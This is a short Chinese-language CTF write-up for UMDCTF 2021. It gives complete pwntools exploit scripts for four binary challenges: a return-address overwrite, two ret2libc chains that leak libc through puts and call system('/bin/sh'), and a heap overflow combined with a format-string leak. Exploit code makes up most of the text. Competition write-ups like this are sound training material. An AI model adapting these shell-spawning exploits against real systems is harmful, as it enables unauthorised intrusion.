UMDCTF 2021

　　6道pwn题，4道可以做。剩下一道题是arm架构，一道题是内核，溜了溜了。

Jump_Not_Easy

 1 from pwn import *
 2
 3 p = process('./pwn')
 4 elf = ELF('./pwn')
 5 context.log_level = 'debug'
 6
 7 def duan():
 8     gdb.attach(p)
 9     pause()
10
11 payload = 'a'*0x40+'bbbbbbbb'+p64(0x040125D)
12 p.sendlineafter('go?\n',payload)
13 p.recv()

Jump_Is_Easy

　　system怎么也打不通，加了个ret才打通，估计又是栈对齐的问题(猜的)。

 1 from pwn import *
 2 from LibcSearcher import *
 3
 4 p = process('./pwn')
 5 elf = ELF('./pwn')
 6 context.log_level = 'debug'
 7
 8 def duan():
 9     gdb.attach(p)
10     pause()
11
12 pop_rdi = 0x004012c3
13 ret = 0x0040101a
14 fun_got = elf.got['__libc_start_main']
15 puts_plt = elf.plt['puts']
16 main = elf.symbols['main']
17
18 payload = 'a'*0x40+'bbbbbbbb'
19 payload+= p64(pop_rdi)+p64(fun_got)
20 payload+= p64(puts_plt)+p64(main)
21
22 p.sendlineafter('go?\n',payload)
23 fun_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
24 libc = LibcSearcher("__libc_start_main", fun_addr)
25 libc_base = fun_addr-libc.dump("__libc_start_main")
26 system = libc_base+libc.dump("system")
27 binsh = libc_base+libc.dump("str_bin_sh")
28 print 'system-->'+hex(system)
29 print 'binsh-->'+hex(binsh)
30 print 'libc_base-->'+hex(libc_base)
31
32 payload = 'a'*0x40+'bbbbbbbb'+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
33 p.sendlineafter('go?\n',payload)
34 p.interactive()

Jump_Not_Working

　　感觉和上一题一样...

 1 from pwn import *
 2 from LibcSearcher import *
 3
 4 p = process('./pwn')
 5 p = remote('chals5.umdctf.io',7004)
 6 elf = ELF('./pwn')
 7 context.log_level = 'debug'
 8
 9 def duan():
10     gdb.attach(p)
11     pause()
12
13 pop_rdi = 0x004012c3
14 ret = 0x0040101a
15 fun_got = elf.got['__libc_start_main']
16 puts_plt = elf.plt['puts']
17 main = elf.symbols['main']
18
19 payload = 'a'*0x40+'bbbbbbbb'
20 payload+= p64(pop_rdi)+p64(fun_got)
21 payload+= p64(puts_plt)+p64(main)
22
23 p.sendlineafter('go?\n',payload)
24 fun_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
25 libc = LibcSearcher("__libc_start_main", fun_addr)
26 libc_base = fun_addr-libc.dump("__libc_start_main")
27 system = libc_base+libc.dump("system")
28 binsh = libc_base+libc.dump("str_bin_sh")
29 print 'system-->'+hex(system)
30 print 'binsh-->'+hex(binsh)
31 print 'libc_base-->'+hex(libc_base)
32
33 payload = 'a'*0x40+'bbbbbbbb'+p64(pop_rdi)+p64(binsh)+p64(system)
34 p.sendlineafter('go?\n',payload)
35 p.interactive()

Jump_Is_Found

　　堆溢出＋格式化字符串漏洞，不知道为什么打不了got表。仔细分析代码就可以出。

 1 from pwn import *
 2 from LibcSearcher import *
 3
 4 p = process('./pwn')
 5 elf = ELF('./pwn')
 6 context(os='linux',arch='amd64',log_level='debug')
 7
 8 def duan():
 9     gdb.attach(p)
10     pause()
11
12 payload = 'a'*0x100+p64(0)+p64(0x111)+'%51$p'
13 p.sendlineafter('CONSOLE> ',payload)
14 p.recvuntil('location: ')
15 fun_got = int(p.recv(14),16)-231
16
17 libc = LibcSearcher("__libc_start_main",fun_got)
18 libc_base = fun_got-libc.dump("__libc_start_main")
19 system = libc_base+libc.dump("system")
20 binsh = libc_base+libc.dump("str_bin_sh")
21 print 'libc_base-->'+hex(libc_base)
22 print 'system-->'+hex(system)
23
24 payload = '1'.ljust(0x100,'a')+p64(0)+p64(0x111)+'/bin/sh\x00'.ljust(0x100,'a')+p64(0)+p64(0x21)+p64(system)*3
25 p.sendlineafter('CONSOLE> ',payload)
26 p.interactive()

总结

　　第一次做国外的比赛，感觉还算友好。